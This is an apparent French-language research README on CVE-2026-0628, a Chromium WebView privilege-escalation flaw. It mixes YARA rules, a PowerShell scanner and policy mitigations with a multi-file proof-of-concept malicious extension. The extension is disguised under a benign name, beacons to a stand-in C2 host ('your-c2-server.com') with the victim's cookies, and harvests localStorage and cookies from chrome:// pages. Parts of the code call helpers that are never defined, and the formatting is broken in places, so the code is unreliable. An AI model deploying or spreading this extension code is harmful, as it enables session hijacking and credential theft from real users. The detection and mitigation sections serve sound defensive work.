
Dissection technique de CVE-2026-0628, une vulnérabilité d'élévation de privilèges dans Chromium WebView, incluant l'analyse de la cause racine, l'exploit PoC, les règles de détection et les stratégies d'atténuation.
= doi.org/10.5281/zenodo.18413764
= orcid.org/0009-0007-7728-256X
README.md
# **CVE-2026-0628 : Élévation de privilèges dans Chromium WebView (Spoofing d'origine) – Recherche technique et preuve de concept**
**Auteur :** Sastra Adi Wiguna (Purple Elite Teaming)
**Date de recherche :** Janvier 2026
**ID CVE :** CVE-2026-0628
**CVSS v3.1 :** 8.8 (Élevée)
**Versions affectées :** Chromium < 143.0.7499.192
**État du correctif :** Corrigé dans Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139
---
## **1. Vue d'ensemble**
### **1.1 Objectif de la recherche**
Ce dépôt documente **CVE-2026-0628**, une **vulnérabilité d'élévation de privilèges de gravité élevée** dans le mécanisme d'application des politiques WebView de Chromium. La vulnérabilité permet à des extensions malveillantes de **contourner les restrictions du sandbox**, d'injecter des scripts dans des **contextes privilégiés** (par exemple, `chrome://`), et d'**élever les privilèges** pour exécuter du code arbitraire.
Cette recherche est **exclusivement destinée à des fins de sécurité défensive**, notamment :
- **Analyse de vulnérabilité**
- **Ingénierie de détection**
- **Développement de stratégies d'atténuation**
- **Tests d'intrusion (environnements autorisés uniquement)**
### **1.2 Avertissement**
- **Strictement réservé à la recherche académique et défensive.**
- **Ne pas utiliser contre des systèmes de production sans autorisation.**
- **Se conformer à toutes les lois applicables et aux politiques de sécurité organisationnelles.**
- **Corriger immédiatement :** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.
---
## **2. Analyse technique**
### **2.1 Cause racine**
**Application insuffisante des politiques** dans l'implémentation WebView de Chromium permet aux extensions de **s'échapper des limites du sandbox** et d'accéder à des **contextes DOM privilégiés**.
**Flux vulnérable :**
1. L'extension malveillante déclare l'utilisation de WebView dans `manifest.json`.
2. L'extension injecte une charge utile HTML/JS élaborée via la balise `<webview>`.
3. **Contournement de la validation des politiques WebView** → Accès aux pages privilégiées (par exemple, `chrome://settings`).
4. **Exécution de scripts arbitraires** dans des contextes privilégiés.
**Vecteur CVSS :**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
### **2.2 Architecture de l'exploit**
#### **Modèle d'extension malveillante**
```json
{
"manifest_version": 3,
"name": "Legitimate Extension",
"version": "1.0",
"webview": {
"src": "chrome://new-tab-page/",
"plugins": {}
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["payload.js"]
}]
}
payload.js)class WebViewExploiter {
constructor() {
this.privilegedTargets = [
'chrome://new-tab-page/',
'chrome-extension://background/',
'chrome://settings/'
];
}
injectPayload(targetURL) {
const webview = document.createElement('webview');
webview.setAttribute('src', targetURL);
webview.setAttribute('nodeintegration', ''); // Paramètre de contournement clé
webview.addEventListener('dom-ready', () => {
webview.executeScript({
code: `
window.chrome = window.chrome || {};
chrome.runtime.sendMessage({action: 'steal_data'});
document.body.innerHTML = '';
`
});
});
document.body.appendChild(webview);
}
}
rule CVE_2026_0628_WebView_Exploiter {
meta:
description = "Détecte les modèles d'exploitation WebView CVE-2026-0628"
severity = "high"
strings:
$webview_abuse = "webview.*(nodeintegration|allowpopups)"
$chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
$inject_sig = /(executeScript|getURL|sendMessage)/
condition:
all of ($*) and filesize < 500KB
}
chrome.exe → Création WebView suspecte.HKCU\Software\Google\Chrome\Extensions\[malicious_id].// Vulnérable (pré-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
return false; // Vérification de politique faible
}
// Corrigé
function validateWebViewPolicy(webview) {
if (!isExtensionTrusted(webview.extensionId)) {
throw new SecurityError('Extension non privilégiée');
}
if (webview.attributes.includes('nodeintegration')) {
enforceStrictCSP(); // Durcissement de la politique de sécurité du contenu
}
}
{
"ExtensionInstallBlacklist": ["malicious_extension_id*"],
"ExtensionInstallForcelist": [],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
$extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $extPath | Where {
(Get-Content "$_\manifest.json" | Select-String "webview") -and
(Get-Content "$_\manifest.json" | Select-String "chrome://")
}
}
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html
manifest.json (Manifeste de contournement){
"manifest_version": 3,
"name": "WebView Helper Tool",
"version": "1.0",
"permissions": ["activeTab", "storage", "tabs"],
"host_permissions": ["<all_urls>", "chrome://*/*"],
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}],
"action": {
"default_popup": "popup.html"
},
"web_accessible_resources": [{
"resources": ["inject.js"],
"matches": ["<all_urls>"]
}]
}
background.js (Persistance et balise C2)chrome.runtime.onInstalled.addListener(() => {
console.log('CVE-2026-0628 PoC Installé');
setTimeout(initExploitation, 5000);
});
async function initExploitation() {
fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
method: 'POST',
body: JSON.stringify({
victim: navigator.userAgent,
cookies: await getAllCookies()
})
}).catch(() => {});
chrome.tabs.onUpdated.addListener(exploitTab);
}
content.js (Déclencheur WebView et injection)(function() {
const privilegedTargets = [
'chrome://new-tab-page/',
'chrome://settings/',
'chrome://extensions/'
];
function createMaliciousWebView(target) {
const webview = document.createElement('webview');
webview.setAttribute('src', target);
webview.setAttribute('allowpopups', '');
webview.addEventListener('dom-ready', () => {
chrome.scripting.executeScript({
target: {tabId: getCurrentTabId()},
func: stealPrivilegedData
});
});
document.body.appendChild(webview);
}
function stealPrivilegedData() {
return {
localStorage: Object.fromEntries(Object.entries(localStorage)),
cookies: document.cookie,
extensions: chrome.runtime.getManifest?.()
};
}
setTimeout(() => {
createMaliciousWebView('chrome://new-tab-page/');
}, 1000);
})();
chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
chrome://extensions/.cve-2026-0628-poc/.chrome://new-tab-page/.localhost:8080) → Capturer l'exfiltration vers le C2.your-c2-server.com."CVE-2026-0628 OWNED".{
"ExtensionInstallBlacklist": ["*"],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# Rechercher les extensions malveillantes
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/
rule CVE_2026_0628_Mojo_Origin_Spoof {
strings:
$mojo_hdr = { 4D 6F 6A 6F }
$chrome_origin = "chrome://new-tab-page/"
$webview_sig = "WebViewPolicyValidator"
condition:
all of them
}
Contact : Pour toute question relative à la sécurité défensive, contacter l'auteur via GitHub Issues.
© 2026 Sastra Adi Wiguna. Tous droits réservés.
| Phase d'attaque | Impact technique | Impact commercial | Métriques CVSS |
|---|
| Installation de l'extension | Consentement de l'utilisateur → Persistance | Vecteur d'ingénierie sociale | UI:R (Requis) |
| Contournement WebView | Évasion du sandbox → Contexte privilégié | Détournement de session | S:U → C:H/I:H/A:H |
| Injection de script | Manipulation du DOM → Exfiltration de données | Vol d'identifiants | PR:N (Aucun privilège) |
| Persistance | Script d'arrière-plan → Balise C2 | Préparation au mouvement latéral | AC:L (Faible complexité) |